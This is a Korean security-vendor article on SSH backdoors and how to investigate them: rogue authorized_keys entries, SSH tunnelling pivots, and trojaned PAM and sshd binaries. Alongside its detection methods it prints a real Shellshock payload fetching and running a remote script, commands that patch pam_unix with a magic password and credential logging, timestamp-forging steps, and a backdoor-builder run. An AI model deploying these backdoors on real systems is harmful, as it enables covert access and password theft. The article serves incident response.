보안정보

전문화된 보안 관련 자료, 보안 트렌드를 엿볼 수 있는
차세대 통합보안관리 기업 이글루코퍼레이션 보안정보입니다.

시큐어셸(SSH) 백도어 유형 및 분석 방법

2017.04.04

20,045

서비스사업본부 보안분석팀 이동은


1. 개요

패스워드 스니핑 공격에 대응하기 위해 개발한 SSH(Secure Shell)는 암호화 통신, 서버·사용자 인증, 포트 포워딩 등의 기능을 제공한다. 중간자 공격에 취약한 Telnet, FTP 등을 대체하여 범용적으로 사용하는 만큼 공격에 이용하는 사례도 빈번하다. 

이번 호에서는 공격자가 최초 침입한 서버를 공격 거점으로 확보하고, 다른 서버로 공격을 확대하기 위해 SSH 서비스를 백도어로 악용하는 유형과 분석 방법에 대해 알아보고자 한다.


2. SSH 공개키 인증을 이용하는 백도어

SSH 사용자 인증 프로토콜은 공개키, 패스워드, 호스트기반 등 인증 방식을 지원한다. 

구분

설명

공개키 인증

클라이언트 공개키를 원격 서버의 ~/.ssh/authorized_keys 파일에 추가한 후, 패스워드 입력 없이 개인키로 사용자 인증
authorized_keys 파일 내 옵션 설정에서 공개키 인증 사용자에 대한 IP 주소, 명령어, TTY 할당, 포트 포워딩 등 사용 제한 가능

패스워드 인증

사용자가 입력한 패스워드로 사용자 인증
기본 설정에서 root 계정의 패스워드 인증 제한(OpenSSH 7.0부터 sshd_config 파일 내  PermitRootLogin 옵션을 종전 "yes"에서 "prohibit-password"으로 변경함)

호스트기반 인증

클라이언트 IP 주소와 사용자명, 공개키로 사용자 인증(기본 설정은 비활성화)
원격 서버의 /etc/shosts.equiv 또는 ~/.shosts (/etc/hosts.equiv 또는 ~/.rhosts), /etc/ssh/ssh_known_hosts에 클라이언트 IP주소와 사용자명, 공개키를 추가하여 설정

[표 1] SSH 사용자 인증 방식

공개키 인증은 클라이언트 공개키를 서버에 등록한 후 비밀번호 대신 개인키로 로그인하는 방식이다. 기본 설정 상태에서 공개키 인증을 허용하며, root 계정도 패스워드 인증은 제한하지만 공개키 인증은 가능하다. 

RSAAuthentication yes        # RSA 인증 허용 설정   (SSH 프로토콜 버전 1만 적용)

PubkeyAuthentication yes     # 공개키 인증 허용 설정 (SSH 프로토콜 버전 2만 적용)

#AuthorizedKeysFile     %h/.ssh/authorized_keys # 공개키 인증을 위해 공개키를 저장할 파일명 지정 

 

[표 2] 공개키 인증 관련 SSHD 기본 설정(etc/ssh/sshd_config)


1) 공개키 인증 설정 방법

공개키 인증에 필요한 클라이언트 공개키와 개인키는 ssh-keygen 명령으로 생성하고, 각각의 파일은 ~/.ssh/id_rsa.pub와 ~/.ssh/id_rsa에 위치한다.

 root@ubuntu:~# ssh-keygen

Generating public/private rsa key pair.

Enter file in which to save the key (/root/.ssh/id_rsa):

Created directory '/root/.ssh'.

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /root/.ssh/id_rsa.

Your public key has been saved in /root/.ssh/id_rsa.pub.

The key fingerprint is:

SHA256:3jLDT6klOgdhusZws47fz9+JGg7PXmbOPgUvjWSw3Qo root@ubuntu

The key's randomart image is:

+---[RSA 2048]----+

|                 |

|        .        |

|         + .     |

|      o E = .    |

|     o .S+ *     |

|  . + .o .+.+    |

|   + +..O Oo     |

|   .=..B.^.o .   |

|  .+o o=X+B.o    |

+----[SHA256]-----+

 


[표 3] ssh-keygen 명령을 이용한 키 생성


클라이언트 공개키(id_rsa.pub)를 원격 서버의 ~/.ssh/authorized_keys에 추가하면 이후부터 비밀키(id_rsa)로 로그인 가능하다.

root@ubuntu:~# cat /root/.ssh/authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDdEK6dZ5KXzNCxPe2+oUI0PMIiGwUfACRMXGkQKrWKq+FuhPBgsXCpxrIYAcQM8kUj

0geq5L1Ok/QbrbhsOuuzW4FhkRyea9UbApMKNMKCCHybGS5adp0vjiAxj3reFZdPDGlmWfbUoDOB0Q3a5L4Fcpg062O/jOCm4zxurTrP+M

plcwyyyx3m8Fw7XZc44/FmM7LkiK08bw4cfCBkkRr7pmgtxZpA78O4Y1ZN005L5f4LI+VaFhs7wb7IsxN5dldpRmg24Q51Piz/d7xHM8

tAdJTF6xRNJMqB3N9MfxKERcapxOW/LKkdOHY5Mf9j9JekHjxH/erJL6ugglnVSkIJ root@ubuntu

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgR6oSdMvSGqqjRGTjkEN2S6JeGKPDyXnayS/aLjXRv+cvfVK6q5RtcBvDvQAIVu

YSsTjr6LdKCGgs7DHIM7DlbG4ulRtvdCP9ERGAiOBL8dQ7ykb0rjwv2wZoSPxzBM9nV0tIQs89SmWcv/Byscs2FEKAGIH2cZbTk0nK

Z6OM1mh8bkgLtck99N69QdTfogtJUWS+5TjxPbCK4X+gbwVsmvC4b74Sa951NV35SuirfSjwBxKP5LWkHeqSvVK3VnkIPV2/rdnyqW

s8QBl9qhBHOOSxxbuLbrZh0EvsEf7fRm/p3MT+6XFwDUDtrj5rFW9FR2WlbmqwTqDmp8lEUwcx root@ubuntu

 

[표 4] authorized_keys 파일에 추가한 클라이언트 공개키 확인   


2) 공개키 인증을 이용하는 백도어 분석

공격자는 피해서버에 자신의 공개키를 추가하여, 패스워드에 관계없이 로그인할 수 있는 백도어로 사용한다. [표 4-5]와 [표 4-6]은 셸쇼크 배시 버그 취약점으로 공격자의 공개키를 authorized_keys에 추가하는 공격 예시이다. 먼저 웹로그의 User-Agent 필드를 보면 외부 웹사이트에서 셸 스크립트를 다운로드하여 실행한다.

 94.**.**.147 - - [28/Mar/2016:01:33:33 -0400] "GET / HTTP/1.1" 200 342 "-" "() { :;}; /bin/bash -c "curl -o /tmp/img.sh http://178.**.**.165/mb;/usr/bin/wget http://178.18.24.165/mb -O /tmp/img.sh;chmod +x /tmp/img.sh;/tmp/img.sh;rm -rf /tmp/img.sh*""

 


[표 5] 셸쇼크 취약점 공격 웹로그


해당 셸 스크립트는 공격자의 공개키를 다운로드하여 root/.ssh/authorized_keys 파일에 추가한다. 

 #!/bin/bash

...

mkdir /root/.ssh

cd /root/.ssh;wget http://178.**.**.165/ssh/kid;cat kid >> authorized_keys;cat kid >> authorized_keys2;rm -rf kid

...

 


[표 6] 셸쇼크 취약점 공격에서 사용한 스크립트 내용(tmp/img.sh)

침해분석 과정에서 피해서버 ~/.ssh/authorized_keys 파일에 대한 감사가 필요한 경우, 공개키의 해시값인 핑거프린트를 수집하여 사용 중인 정상 공개키와 비교하는 방식으로 공격자의 인증키를 식별한다.

root@ubuntu:~# ssh-keygen -lf /root/.ssh/authorized_keys

2048 SHA256:3jLDT6klOgdhusZws47fz9+JGg7PXmbOPgUvjWSw3Qo root@ubuntu (RSA)

2048 SHA256:jlArdHBDMsWE8eXlpx5FkecNLgKBtsMe6fEXVIaCG5k root@ubuntu (RSA)

 


[표 7] ssh-keygen 명령으로 공개키 핑거프린트 확인

또 서버 인증 로그(var/log/auth.log)에서 공개키 핑거프린트로 로그인 기록을 확인한다.

root@ubuntu:~# cat /var/log/auth.log

...

Feb  9 17:49:01 ubuntu sshd[1464]: Accepted password for user from 10.0.2.2 port 52224 ssh2

...

Feb 23 16:11:59 ubuntu sshd[30456]: Accepted publickey for root from 10.0.2.2 port 62228 ssh2: RSA SHA256:3jLDT6klOgdhusZws47fz9+JGg7PXmbOPgUvjWSw3Qo

...

 


[표 8] 공개키 인증 로그 확인/var/log/auth.log)



3. SSH 포트 포워딩을 이용한 우회 접속

SSH 연결 프로토콜은 로컬 포트 포워딩, 리모트 포트 포워딩, 다이나믹 포트 포워딩을 지원한다. 로컬 포트 포워딩은 클라이언트에서 포트를 오픈하고, 클라이언트의 해당 포트로부터 암호화 터널(클라이언트→SSH 터널→SSH 서버)를 통해 지정한 목적지 호스트·포트로 SSH서버에서 연결한다.   

 ssh -L [bind_address:]port:host:hostport [user@]server

 


[표 9] 로컬 포트 포워딩 설정


리모트 포트 포워딩은 SSH 서버에서 포트를 오픈하고, SSH 서버의 해당 포트로부터 암호화 터널(클라이언트→SSH 터널→SSH 서버)를 통해 지정한 목적지 호스트·포트로 클라이언트에서 연결한다.  
 

 ssh -R [bind_address:]port:host:hostport [user@]server

 


[표 10] 리모트 포트 포워딩 설정


다이나믹 포트 포워딩은 클라이언트에서 포트를 오픈하고, SSH 서버는 SOCKS Proxy 서버로 동작한다. 클라이언트의 해당 포트로부터 암호화 터널(클라이언트→SSH 터널→SSH 서버)를 통해 SSH 서버에서 목적지로 연결한다.   

 

 ssh -D [bind_address:]port [user@]server

 


[표 11] 다이나믹 포트 포워딩 설정 


1) SSH 포트 포워딩을 이용한 우회 접속 예시

공격자는 SSH 포트 포워딩를 이용하여 외부에서 직접 접근이 불가능한 포트와 내부서버에 대해 피해서버를 경유하여 접근할 수 있다. [그림4-1]은 최초 침입한 웹서버에서 공격자측 SSH 서비스로 리모트 포트 포워딩을 설정하여 SSH 터널을 생성한 후 내부 DB서버로 우회 접속하는 예시다.


[그림 1] SSH 포트 포워딩을 이용한 우회 접속 예시


지난 10월, 글로벌 CDN 기업인 아카마이의 위협 연구팀은 디폴트 계정을 사용하는 IoT 기기를 프록시로 악용하여 공격 트래픽을 유발하는 대규모 공격에 대해 분석 보고서를 발표했다. 쇼다운(SShowDowN) 프록시로 이름 지어진 이 공격은 SSH 다이나믹 포트 포워딩을 악용하며, IoT 기기의 웹 관리자 계정에 대해 etc/passwd 파일의 Command/shell 필드가 /sbin/nologin으로 설정한 상태에서도 포트 포워딩은 가능한 점을 이용했다. 


2) SSH 포트 포워딩을 이용한 우회 접속 분석

피해서버에서 공격자측 SSH 서비스로 리모트 포트 포워딩을 설정하여 우회 접속한 경우, 방화벽 로그에서 세션 연결시간이 긴 외부 접속을 검색하는 방식으로 외부 IP 주소를 확인할 수 있다. 그리고 SSH 서비스로 접속한 클라이언트는 서버 인증 과정에서 해당 서버의 공개키, IP 주소 또는 도메인명을 ~/.ssh/known_hosts 파일에 저장하기 때문에, 방화벽에서 확인한 IP 주소로 SSH 서비스를 접속했는지 검증하는데 이용할 수 있다.

OpenSSH 4.0부터 ~/.ssh/known_hosts 파일의 IP 주소·도메인명을 노출하지 않도록 [표 4-12]와 같이 해시값으로 저장한다. "|"를 구분자로 1(HASH_MAGIC) 다음, 두 개의 Base64 문자열은 각각 램덤 솔트(salt)와 IP 주소 또는 도메인명에 대한 HMAC-SHA1이다.

 root@ubuntu:~# cat /root/.ssh/known_hosts

|1|mDg3kmL3+R0NC8Ue3OyxqZqRjko=|lAa1+8ikOHnkXVpj7adM4NUrqdI= ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPEfJ23k9o9ghesDKDoRFy467GQErqJB5iK6V/D+dw3gGGX3rFT11OCx1z9QVNNiAyJphDq3ti4ngpCy+oEUt6E=

root@ubuntu:~/.ssh# ssh-keygen -lf known_hosts

256 SHA256:gA1njKhy8ZJhGcloWQC4b4zh1tHPl/3+L4aoanZTbqo |1|mDg3kmL3+R0NC8Ue3OyxqZqRjko=|lAa1+8ikOHnkXVpj7adM4NUrqdI= (ECDSA)

 

 

[표 12] known_hosts 파일 내용


해당 해시값은 무차별 대입(Brute Force) 공격으로 해독하며, IP 주소를 옵션으로 지정하여 대상 범위를 좁히면 실행 시간을 단축할 수 있다.

C:Python27>bruteforce_known_hosts.py --network 192.168.0.0/16 --file known_hosts

SSH known_hosts file bruteforce

 (c) 2013 jtRIPper

 

Beginning bruteforce at: Thu Mar 09 13:04:00 2017

 

Found hosts:

 [*] Found host: 192.168.56.1!

 

Bruteforce completed at: Thu Mar 09 13:04:02 2017 (2 seconds)

 


[표 13] known_hosts 파일 무차별 대입 공격(https://github.com/Churro/bruteforce-known-hosts)


4. SSH 바이너리 및 라이브러리를 변조한 백도어


공격자가 root 권한을 획득한 경우 피해서버의 SSH 관련 바이너리(ssh, sshd 등)와 공유 라이브러리(pam_unix.so 등)을 변조하여, 사전에 지정한 문자열을 입력하면 실제 패스워드와 관계없이 로그를 남기지 않고 루트 권한으로 로그인하고, SSH 데몬과 클라이언트에서 정상 사용자가 입력한 계정을 탈취할 수 있다.
 
1) 공유 라이브러리를 변조한 SSH 백도어 분석

리눅스 PAM(Pluggable Authentication Modules)은 애플리케이션과 서비스에 대한 동적 인증을 제공하며, 계정·인증·비밀번호·세션 모듈로 구분한다. 주요 인증 모듈인 pam_unix.so은 etc/passwd, /etc/shadow 파일과 비교하여 패스워드 인증을 검증한다. 

root@ubuntu:~# cat /etc/pam.d/sshd

...

# Standard Un*x authentication.

@include common-auth

...

root@ubuntu:~# cat /etc/pam.d/common-auth | grep ^auth

auth    [success=1 default=ignore]      pam_unix.so nullok_secure

...

 


[표 14] 리눅스 PAM의 인증 모듈 설정 확인


[표 15] pam_unix.so 파일을 변조하는 백도어 예시다. 리눅스 PAM의 pam_unix_auth.c 파일에 백도어용 패스워드를 추가하고, 로그인에 성공한 아이디와 패스워드를 특정 파일에 저장하도록 소스코드를 삽입한다. 

root@ubuntu:~# wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

root@ubuntu:~# tar xvzf Linux-PAM-1.1.8.tar.gz ; cd Linux-PAM-1.1.8

root@ubuntu:~/Linux-PAM-1.1.8# sed -i 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);ntif(strcmp(p,"secretpassword")==0){nttretval=PAM_SUCCESS;nt}ntif(retval==PAM_SUCCESS){nttFILE* fp=fopen("/tmp/.pamlog","a");nttfprintf(fp,"%s:%s\n",name,ptfclose(fppam_unix/pam_unix_auth.c

root@ubuntu:~/Linux-PAM-1.1.8# cat -n modules/pam_unix/pam_unix_auth.c

...

   179          /* verify the password of this user */

   180          retval = _unix_verify_password(pamh, name, p, ctrl);

   181          if(strcmp(p,"secretpassword")==0){

   182                  retval=PAM_SUCCESS;

   183          }

   184          if(retval==PAM_SUCCESS){

   185                  FILE* fp=fopen("/tmp/.pamlog","a");

   186                  fprintf(fp,"%s:%sn",name,p

   187                  fclose(fp

   188          }

   189          name = p = NULL;

...

root@ubuntu:~/Linux-PAM-1.1.8# ./configure && make

 


[표 15] pam_unix.so 소스코드 수정(181~188 라인 추가) 후 컴파일

공격자는 정상 pam_unix.so 파일을 변조한 파일로 교체하며, 관리자가 변조 사실을 쉽게 인지할 수 없도록 정상 파일의 수정 시간과 동일하게 설정한다. 

root@ubuntu:~# stat /lib/x86_64-linux-gnu/security/pam_unix.so

  File: '/lib/x86_64-linux-gnu/security/pam_unix.so'

  Size: 60336           Blocks: 120        IO Block: 4096   regular file

Device: fc00h/64512d    Inode: 685         Links: 1

Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)

Access: 2017-03-02 16:02:13.105132442 +0900

Modify: 2016-03-17 03:12:31.000000000 +0900

Change: 2017-02-07 17:45:43.001784000 +0900

 Birth: -

root@ubuntu:~# cp /lib/x86_64-linux-gnu/security/pam_unix.so pam_unix.orig

root@ubuntu:~# touch -r /lib/x86_64-linux-gnu/security/pam_unix.so pam_unix.orig

root@ubuntu:~# cp Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so

root@ubuntu:~# touch -r pam_unix.orig /lib/x86_64-linux-gnu/security/pam_unix.so

root@ubuntu:~# stat /lib/x86_64-linux-gnu/security/pam_unix.so

  File: '/lib/x86_64-linux-gnu/security/pam_unix.so'

  Size: 201552          Blocks: 400        IO Block: 4096   regular file

Device: fc00h/64512d    Inode: 685         Links: 1

Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)

Access: 2017-03-02 16:02:13.105132442 +0900

Modify: 2016-03-17 03:12:31.000000000 +0900

Change: 2017-03-02 16:05:03.686385555 +0900

 Birth: -

 


[표 16] pam_unix.so 파일 및 파일 수정시간 변조


침해분석 과정에서 SSHD 프로세스 또는 su 명령의 시스템 콜 추적과 pam_unix.so 파일의 문자열 검사를 통해 백도어를 확인한다. 시스템 콜 추적은 strace 명령 실행 상태에서 계정을 입력할 때 확인할 수 있다.

root@ubuntu:~# ps -ef | grep sshd

root      4958     1  0 08:10 ?        00:00:00 /usr/sbin/sshd -D

...

root@ubuntu:~# strace -o sshd.strace -f -p 4958

root@ubuntu:~# cat sshd.strace

...

13078 open("/tmp/.pamlog", O_WRONLY|O_CREAT|O_APPEND, 0666) = 8  ► 계정정보 저장파일 오픈

13078 lseek(8, 0, SEEK_END)             = 32

13078 fstat(8, {st_mode=S_IFREG|0644, st_size=32, ...}) = 0

13078 write(8, “igloosec:igloosecn", 18) = 18   ► 사용자가 입력한 아이디·패스워드 저장

13078 close(8)                          = 0

...

root@ubuntu:~# strings -t d /lib/x86_64-linux-gnu/security/pam_unix.so

...

  40646 Password:

  40657 -UN*X-PASS

  40668 secretpassword   ► 백도어용 패스워드 

  40685 /tmp/pam.log     ► 사용자가 입력한 계정 정보를 저장하는 파일

  40698 %s:%s            ► 저장형식(아이디:패스워드)

  40712 auth could not identify password for [%s]

...

 


[표 17] SSHD 프로세스 시스템 콜 추적 및 pam_unix.so 파일 문자열 확인


2014년 3월, 해외 보안업체 ESET은 오퍼레이션 윈디고(Operation Windigo) 공격에 대한 분석 보고서를 발간했다. 유닉스 및 리눅스 서버를 대규모로 해킹하여, SSH 계정 탈취, 드라이브 바이 다운로드 방식의 악성코드 유포, 스팸메일 발송 등 악성행위에 악용한다. 공격에 사용한 에버리(Ebury) 악성코드는 SSH 관련 바이너리(ssh, sshd, ssh-add)와 공유 라이브러리(libkeyutil.so)를 변조하여, SSH 클라이언트 프로토콜 버전에 특정 문자열이 존재하면 루트 백도어 셸을 활성화하고, 탈취한 계정 정보를 DNS 쿼리로 외부 특정서버에 전송한다. [표 4-18]와 같이 SSH 프로세스의 시스템 콜을 추적하면, DNS 통신을 통한 계정 탈취를 확인할 수 있다. 

20394 connect(4, {sa_family=AF_INET, sin_port=htons(53), sin_addr=inet_addr("72.***.***.154")}, 16) =

20394 sendto(4, "22v11*7741e5e70c7da9b0266"..., 73, 0, NULL, 0) = 73

20394 close(4) = 0

 


[표 18] 탈취한 SSH 계정을 외부로 전송할 때 시스템 콜 추적 


2) SSH 바이너리를 변조하는 백도어 분석

[표 19]는 패킷스톰 웹사이트의 SSH 백도어 스크립트(packetstormsecurity.com/files/123584/sinon.sh.txt)를 실행한 화면이다. 백도어용 패스워드와 계정 정보를 저장할 파일 위치를 사용자가 지정하면, 현재 서버와 동일한 버전의 OpenSSH에 백도어 및 계정 탈취 소스코드를 삽입한 후 SSH 바이너리 파일을 생성한다.

root@ubuntu:~# ./sinon.sh

(PAM enabled)

(KRB5 enabled)

Magic password (just press enter to use a random one):

File to log passwords to: /tmp/.sshlog

===========================================================

Using magic password: igloosec

Using password log file: /tmp/.sshlog

OpenSSH version: 7.2p2

===========================================================

Downloading openssh-7.2p2...

...

 


[표 19] SSH 백도어 생성 스크립트 실행 

스크립트 실행 시 사용자가 입력한 매직 패스워드(MD5), 로그 파일 위치는 bd.h 파일에 배열로 저장한다. 

static char * bpmd5() {

 md5[0] = ‘1';

 md5[1] = ‘1';

 md5[2] = ‘2';

...

 md5[29] = ‘3';

 md5[30] = '3';

 md5[31] = '5';

 return md5;

}

static char * plogfn() {

plog[0] = '/';

plog[1] = 't';

plog[2] = 'm';

 ...

plog[9] = 'l';

plog[10] = 'o';

plog[11] = 'g';

 return plog

}

 

 

[표 20] bd.h 파일 내용


또 스크립트에서 소스코드를 수정한 내용은 [표 4-21]과 같다. 소스코드 컴파일 후 생성한 백도어 파일을 usr/sbin/sshd, /usr/bin/ssh 정상 파일과 변경하고, SSH 서비스를 재시작하면 백도어가 동작한다.

구분

설명

auth.c

매직 패스워드로 로그인하는 경우 로그를 남기지 않고, 루트 계정을 허용하지 않도록 설정한 경우에도 로그인 가능하도록 변경

auth-pam.c

/auth-passwd.c

매직 패스워드를 입력하는 경우 실제 패스워드와 관계없이 로그인 허용
사용자가 입력한 패스워드가 실제 패스워드와 같을 경우 아이디, 패스워드를 1의 보수로 변환하여 패스워드 로그 파일에 저장

log.c/loginrec.c

매직 패스워드로 로그인하는 경우 로그를 남기지 않음

servconf.c

루트 계정을 허용하지 않도록 설정한 경우에도 로그인 가능하도록 변경

sshconnect1.c

SSH 서비스로 접속한 사용자의 IP 주소, 아이디, 패스워드를 1의 보수로 변환하여 패스워드 로그 파일에 저장(1:Client IP Address:User:Password)

sshconnect2.c

SSH 클라이언트 명령에서 사용자가 입력한 호스트의 도메인명 또는 IP 주소, 아이디, 패스워드를 1의 보수로 변환하여 패스워드 로그 파일에 저장(2:User:Host:Password)

version.h

SSH 버전 정보를 서버와 동일하게 설정

[표 21] SSH 백도어 관련 소스코드 수정사항


라이브러리를 변조한 SSH 백도어와 동일한 방법으로 SSH 데몬과 클라이언트의 시스템 콜을 추적하면, 패스워드 로그 파일(/tmp/.sshlog)에 계정 정보를 저장하는 것을 확인할 수 있다. 하지만 usr/sbin/sshd 파일을 strings 명령으로 검사해도 매직 패스워드와 로그 파일 위치 문자열을 확인할 수 없다. strings 명령은 기본 설정상태에서 4바이트 이상의 아스키 문자열만 보여주기 때문에 배열로 1바이트씩 저장한 문자열은 확인하기 어렵다. [표 4-22]와 같이 objdump 명령으로 /usr/sbin/sshd 파일을 역어셈블하고, movb 명령에 오퍼랜드만 추출하면 배열에 저장한 문자열을 추출할 수 있다.

 

root@ubuntu:~# objdump –D /usr/sbin/sshd | grep movb

...

    f97a:       c6 05 5f 5c 2b 00 32    movb   $0x31,0x2b5c5f(%rip)     # 2c55e0

    f981:       c6 05 59 5c 2b 00 66    movb   $0x31,0x2b5c59(%rip)     # 2c55e1

    f98b:       c6 05 50 5c 2b 00 33    movb   $0x32,0x2b5c50(%rip)     # 2c55e2

...

    fb95:       c6 05 04 52 2b 00 2f    movb   $0x2f,0x2b5204(%rip)     # 2c4da0 <plog>

    fb9c:       c6 05 fe 51 2b 00 74    movb   $0x74,0x2b51fe(%rip)     # 2c4da1

    fba6:       c6 05 f5 51 2b 00 6d    movb   $0x6d,0x2b51f5(%rip)     # 2c4da2

...

root@ubuntu:~# perl strdebob.pl /usr/sbin/sshd

 

1120a8389f5a326bb59d3c46d1cd9335/tmp/.sshlog

"“

...

 


[표 22] 배열로 저장한 매직 패스워드(MD5) 및 로그 파일 위치 문자열 확인


#!/usr/bin/perl

use strict;

unless (@ARGV) { print "Usage: strdebob.pl n"; exit; }

my $file = $ARGV[0];

unless (-f $file ) { print "Error file $file not foundn"; exit; }

open(ASM,"objdump -D $file |grep movb |") || die "Failed: $!n";

my $strings;

while ( ) {

    my $line = $_;

    if ($line =~ /([a-f0-9:]+)s+([a-f0-9s]+)movbs+$0x([0-9a-f]{2})/) {

        my $inst = $3;

        #grab the the last two chars and ascii them up

        my $string =  sprintf ("%c", hex substr($inst, -2));

        $string =~ s/[x7F-xFFx00-x09x0B-x1F]/./g;

        $strings .= $string;

    } else {

        unless (substr($strings, -1) eq "n") {

            $strings .= "n";

        }

    }

}

print "$stringsn";

 


[표 23] strdebob.pl 소스

그리고 탈취한 계정 정보는 1의 보수로 변환하여 패스워드 로그 파일에 저장한 상태이기 때문에 내용을 확인하기 위해서 재 변환이 필요하다. 

root@ubuntu:~# file /tmp/.sshlog

/tmp/.sshlog: Non-ISO extended-ASCII text, with no line terminators

root@ubuntu:~# xxd /tmp/.sshlog

00000000: cdc5 9698 9390 908c 9a9c c5ce c6cd d1ce  ................

00000010: c9c7 d1ca c9d1 cec5 9698 9390 908c 9a9c  ................

00000020: f5                                       .

root@ubuntu:~# perl -pe 's/(.)/chr(255-ord($1))/ge' /tmp/.sshlog

2:igloosec:192.168.56.1:igloosec

 


[표 24] 패스워드 로그 파일 확인


5. 결론


지금까지 SSH 백도어 유형에 대해 알아보았다. SSH 백도어를 조기에 탐지·대응하기 위해서는 시스템 파일에 대한 무결성을 주기적으로 검사하도록 감사 정책을 마련하고, 지속적인 모니터링을 수행할 필요가 있다. 


6. 참고자료

[5] https://wjd.nu/notes/2009